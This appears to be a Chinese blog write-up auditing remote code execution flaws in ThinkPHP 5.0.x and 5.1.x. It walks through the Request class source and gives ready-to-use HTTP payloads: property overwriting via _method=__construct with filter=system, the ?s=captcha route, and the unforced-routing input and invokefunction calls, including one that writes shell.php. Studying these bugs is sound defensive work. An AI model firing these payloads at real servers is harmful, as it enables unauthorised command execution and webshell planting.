前言
之前看的是tp3的SQL注入,现在开始审计一下tp5的一些SQL注入和RCE。先看一下RCE,毕竟thinkphp最广为人知的漏洞就是RCE。
首先是源码的下载,我从这里下载:
thinkphp下载
这里我下载的是thinkphp5.0.22完整版,如果下载核心版的话可能会有一些代码的缺失。
漏洞影响版本:
5.0.0<=ThinkPHP5<=5.0.23 、5.1.0<=ThinkPHP<=5.1.30
不同的版本payload会不同,我这里的是tp5.0.22。
5.0.22debug模式开启下的RCE
和之前tp5.1的反序列化一样,RCE的执行点也都是重要的request类。关键在于这个filterValue()
函数:
/**
* 递归过滤给定的值
* @param mixed $value 键值
* @param mixed $key 键名
* @param array $filters 过滤方法+默认值
* @return mixed
*/
private function filterValue(&$value, $key, $filters)
{
$default = array_pop($filters);
foreach ($filters as $filter) {
if (is_callable($filter)) {
// 调用函数或者方法过滤
$value = call_user_func($filter, $value);
} elseif (is_scalar($value)) {
if (false !== strpos($filter, '/')) {
// 正则过滤
if (!preg_match($filter, $value)) {
// 匹配不成功返回默认值
$value = $default;
break;
}
} elseif (!empty($filter)) {
// filter函数不存在时, 则使用filter_var进行过滤
// filter为非整形值时, 调用filter_id取得过滤id
$value = filter_var($value, is_int($filter) ? $filter : filter_id($filter));
if (false === $value) {
$value = $default;
break;
}
}
}
}
return $this->filterExp($value);
}
利用call_user_func
,$filter
是函数,$value
是参数。
此外,Request类的__construct()
方法也很危险:
/**
* 构造函数
* @access protected
* @param array $options 参数
*/
protected function __construct($options = [])
{
foreach ($options as $name => $item) {
if (property_exists($this, $name)) {
$this->$name = $item;
}
}
if (is_null($this->filter)) {
$this->filter = Config::get('default_filter');
}
// 保存 php://input
$this->input = file_get_contents('php://input');
}
发现在foreach
中,如果$options
可控,那么就可以任意覆盖类中的属性,例如覆盖$this->filter
。
再看一下整个流程。程序从index.php开始:
跟进start.php:
跟进一下run方法,感觉是在进行一些配置的绑定和其他的东西。关键在于routeCheck方法:
主要是检测路由,打断点看一下,一路可以正常执行,注意这个check方法:
跟进,会发现在里面执行的method方法:
/**
* 当前的请求类型
* @access public
* @param bool $method true 获取原始请求类型
* @return string
*/
public function method($method = false)
{
if (true === $method) {
// 获取原始请求类型
return $this->server('REQUEST_METHOD') ?: 'GET';
} elseif (!$this->method) {
if (isset($_POST[Config::get('var_method')])) {
$this->method = strtoupper($_POST[Config::get('var_method')]);
$this->{
$this->method}($_POST);
} elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
$this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
} else {
$this->method = $this->server('REQUEST_METHOD') ?: 'GET';
}
}
return $this->method;
}
默认$method
为false,会进入elseif,Config::get('var_method')
得到的是config.php里面的一个配置:
会把$_POST['_method']
的值赋给$this->method
,然后$this->{$this->method}($_POST);
,相当于可以执行Request类中的任意方法,参数是$_POST
。这里就要联想到那个__construct()
方法了,可以任意覆盖类属性,至此为止Request类属性都可控了,借其他师傅的图:
暂时构造:_method=__construct
。
程序继续执行,注意到这里:
如果开启了debug的话,进入if,会触发$request->param()
方法。好眼熟的方法,似乎在tp5.1反序列化链中就被利用过?利用param方法,最终可以跟进到filterValue()
方法。跟进一下param()方法:
跟进一下method()
方法,不过这次的$method
是true:
再跟进server():
$name
的值是REQUEST_METHOD。server()方法中又跟进了input()方法,第一个参数$this->server
可以利用之前__construct()
方法进行属性覆盖,因此$this->server
可控。跟进input()方法:
/**
* 获取变量 支持过滤和默认值
* @param array $data 数据源
* @param string|false $name 字段名
* @param mixed $default 默认值
* @param string|array $filter 过滤函数
* @return mixed
*/
public function input($data = [], $name = '', $default = null, $filter = '')
{
if (false === $name) {
// 获取原始数据
return $data;
}
$name = (string) $name;
if ('' != $name) {
// 解析name
if (strpos($name, '/')) {
list($name, $type) = explode('/', $name);
} else {
$type = 's';
}
// 按.拆分成多维数组进行判断
foreach (explode('.', $name) as $val) {
if (isset($data[$val])) {
$data = $data[$val];
} else {
// 无输入数据,返回默认值
return $default;
}
}
if (is_object($data)) {
return $data;
}
}
// 解析过滤器
$filter = $this->getFilter($filter, $default);
if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
reset($data);
} else {
$this->filterValue($data, $name, $filter);
}
if (isset($type) && $data !== $default) {
// 强制类型转换
$this->typeCast($data, $type);
}
return $data;
}
$name
是REQUEST_METHOD,会进入if ('' != $name) {
。
foreach (explode('.', $name) as $val) {
if (isset($data[$val])) {
$data = $data[$val];
} else {
// 无输入数据,返回默认值
return $default;
}
}
这些代码就相当于$data=$data['REQUEST_METHOD']
。而$data
就是可控的$this->server
,因此这里$data
也可控。再往下看:
跟进一下getFilter()
,看看$filter
是怎么来的:
protected function getFilter($filter, $default)
{
if (is_null($filter)) {
$filter = [];
} else {
$filter = $filter ?: $this->filter;
if (is_string($filter) && false === strpos($filter, '/')) {
$filter = explode(',', $filter);
} else {
$filter = (array) $filter;
}
}
$filter[] = $default;
return $filter;
}
相当于$filter=$this->filter
,因此过滤器也可控。接下来就进入了filterValue方法,$data
是可控的参数,$filter
是可控的函数,再进入利用call_user_func即可RCE。最终构造:
_method=__construct&filter=system&server[REQUEST_METHOD]=dir
RCE成功:
5.0.22非Debug模式下的RCE
需要下载验证码的拓展包,我看网上的大多数复现文章都没用提到这个,好像是下载得到的源码里默认有?可能我下载的这个tp5.0.22又缺了东西,如果缺了东西就自己下载:
composer require topthink/think-captcha=1.*
这种方式的RCE的基本构造和debug模式下的差不多,但是利用的不是debug开启的if下面的param()函数。而是继续往下看:
跟进exec函数,发现当$dispatch['type']
是controller或者method的时候,会继续调用param()函数:
而$dispatch['type']还是之前那个方法得到的:
这里从七月火师傅的博客中引用一下:
而在 ThinkPHP5 完整版中,定义了验证码类的路由地址。程序在初始化时,会通过自动类加载机制,将 vendor 目录下的文件加载,这样在 GET 方式中便多了这一条路由。我们便可以利用这一路由地址,使得 $dispatch[‘type’] 等于 method ,从而完成 远程代码执行 漏洞。
因此加上?s=captcha
就可以让$dispatch['type']
是method,从而进入param()方法。还需要注意这个:
之前的那种方法进入method
方法后,下面的代码就不重要了,但是这里下面的代码仍需要进行,且method()
方法的返回值是return $this->method;
,所以__construct()
方法里面把$this->method覆盖成get就可以了。
之后进入param()方法后的流程就和上一题差不多了,就不分析了,最终payload如下:
?s=captcha
_method=__construct&filter=system&method=get&server[REQUEST_METHOD]=dir
修复
5.0.5的另一种RCE思路
除了开启debug的RCE,还有?s=captcha这样的RCE思路之外,还有一种RCE,不过这种对于5.0.0~5.0.23这部分版本并不是都可以,我一开始在5.0.13上没复现成功,失败的原因就是因为一行代码,我最后再说。
为了复现成功,我又下载了稍旧一点的tp5,tp5.0.5是可以复现成功的,5~13之间的版本是否可以复现成功我就不清楚了。
大致的思路还是和其他两种RCE差不多,覆盖Request类的属性,然后最终进入filterValue方法RCE。不过这种思路不需要借助debug和?s=captcha。
前面的类属性覆盖都是一样的,然后这里进入到module方法:
跟进最后一行:
跟进bindParams方法:
这里可以进入param()方法:
public function param($name = '', $default = null, $filter = '')
{
if (empty($this->param)) {
$method = $this->method(true);
// 自动获取请求变量
switch ($method) {
case 'POST':
$vars = $this->post(false);
break;
case 'PUT':
case 'DELETE':
case 'PATCH':
$vars = $this->put(false);
break;
default:
$vars = [];
}
// 当前请求参数和URL地址中的参数合并
$this->param = array_merge($this->get(false), $vars, $this->route(false));
}
if (true === $name) {
// 获取包含文件上传信息的数组
$file = $this->file();
$data = array_merge($this->param, $file);
return $this->input($data, '', $default, $filter);
}
return $this->input($this->param, $name, $default, $filter);
}
这里$this->param
就是post传入的参数,$name
是空字符串,所以进入最后一行的return。跟进input方法。
然后获取过滤器,和之前的两种方式没什么区别,最终得到的都有$this->filter
然后通过array_walk_recursive()
方法,调用了filterValue
方法:
最终RCE。整个过程很顺利。
payload如下:
_method=__construct&filter=system&method=get&s=whoami
至于为什么5.0.13不可以,是因为在跟进到module()方法的时候,filter又被覆盖成空了:
导致filter不可控,无法利用。
未开启强制路由导致RCE
之前的那几种RCE的思路基本上都是利用Request类的method方法触发__construct()
,覆盖类属性,然后想办法进入类似param()方法等,最终进入到filterValue(),实现RCE。
接下来这种事由于未开启强制路由导致的RCE。这里我复现的php版本是thinkphp5.1.29,不同的版本payload稍有不同。
主要原因就是tp默认开启兼容模式而且默认不开启强制路由。payload如下:
?s=index/think\Request/input&filter=system&data=dir
还是老思路,先跟进routeCheck()
产生的path就是?s
然后产生$dispatch
:
跟进一下check()方法,把斜杠换成了|:
后面返回:
产生这样的$dispatch
,关键即是index|think\Request|input
:
相当于index模块,think\Request
控制器,input方法。继续跟进,routeCheck()函数运行完毕,进入init():
跟进parseUrl()方法,在这里产生path:
跟进parseUrlPath方法,满足[模块/控制器/操作],按这样的方式解析。
从这个函数出来后依次得到模块,控制器,方法,然后封装路由,产生的$route
:
然后产生新的Module对象:
在run()方法中继续跟进,在这个闭包中调用了$dispatch->run()
:
跟进里面的exec方法:
public function exec()
{
// 监听module_init
$this->app['hook']->listen('module_init');
try {
// 实例化控制器
$instance = $this->app->controller($this->controller,
$this->rule->getConfig('url_controller_layer'),
$this->rule->getConfig('controller_suffix'),
$this->rule->getConfig('empty_controller'));
if ($instance instanceof Controller) {
$instance->registerMiddleware();
}
} catch (ClassNotFoundException $e) {
throw new HttpException(404, 'controller not exists:' . $e->getClass());
}
$this->app['middleware']->controller(function (Request $request, $next) use ($instance) {
// 获取当前操作名
$action = $this->actionName . $this->rule->getConfig('action_suffix');
if (is_callable([$instance, $action])) {
// 执行操作方法
$call = [$instance, $action];
// 严格获取当前操作方法名
$reflect = new ReflectionMethod($instance, $action);
$methodName = $reflect->getName();
$suffix = $this->rule->getConfig('action_suffix');
$actionName = $suffix ? substr($methodName, 0, -strlen($suffix)) : $methodName;
$this->request->setAction($actionName);
// 自动获取请求变量
$vars = $this->rule->getConfig('url_param_type')
? $this->request->route()
: $this->request->param();
$vars = array_merge($vars, $this->param);
} elseif (is_callable([$instance, '_empty'])) {
// 空操作
$call = [$instance, '_empty'];
$vars = [$this->actionName];
$reflect = new ReflectionMethod($instance, '_empty');
} else {
// 操作不存在
throw new HttpException(404, 'method not exists:' . get_class($instance) . '->' . $action . '()');
}
$this->app['hook']->listen('action_begin', $call);
$data = $this->app->invokeReflectMethod($instance, $reflect, $vars);
return $this->autoResponse($data);
});
return $this->app['middleware']->dispatch($this->request, 'controller');
}
先实例化了控制器,相当于实例化think\Request
:
然后又是一个闭包,跟进:
先获得input这个方法名,然后判断是否可以调用,创造$call
。然后生成了一个ReflectionMethod
反射类的对象,得到方法名。然后利用param方法获得请求参数,即:
filter=system&data=dir
之后调用了invokeReflectMethod()
方法,跟进一下
看到下面的$reflect->invokeArgs()
方法调用,利用反射机制,把$args
这个数组作为参数,调用了input方法,看一下$args
怎么来的,跟进一下bindParams()
:
protected function bindParams($reflect, $vars = [])
{
if ($reflect->getNumberOfParameters() == 0) {
return [];
}
// 判断数组类型 数字数组时按顺序绑定参数
reset($vars);
$type = key($vars) === 0 ? 1 : 0;
$params = $reflect->getParameters();
foreach ($params as $param) {
$name = $param->getName();
$lowerName = Loader::parseName($name);
$class = $param->getClass();
if ($class) {
$args[] = $this->getObjectParam($class->getName(), $vars);
} elseif (1 == $type && !empty($vars)) {
$args[] = array_shift($vars);
} elseif (0 == $type && isset($vars[$name])) {
$args[] = $vars[$name];
} elseif (0 == $type && isset($vars[$lowerName])) {
$args[] = $vars[$lowerName];
} elseif ($param->isDefaultValueAvailable()) {
$args[] = $param->getDefaultValue();
} else {
throw new InvalidArgumentException('method param miss:' . $name);
}
}
return $args;
}
$vars
是我们传的参数数组 :
判断一下是不是数字索引,这里不是。然后得到input方法的本来的参数,依次遍历,如果$vars
数组存在这个键名,就把这个$vars
数组这个键的值放到$args
中,其他的是默认值。
绑定完参数后,就进行了调用,执行input方法,实现RCE。
另外的一些payload,从别的师傅的文章中引用过来的:
?s=index/think\Request/input&filter[]=system&data=pwd
?s=index/think\view\driver\Php/display&content=<?php phpinfo();?>
?s=index/think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/think\Container/invokefunction&function=call_user_func&vars[]=system&vars[]=dir
?s=index/think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
不过似乎第二个不能用。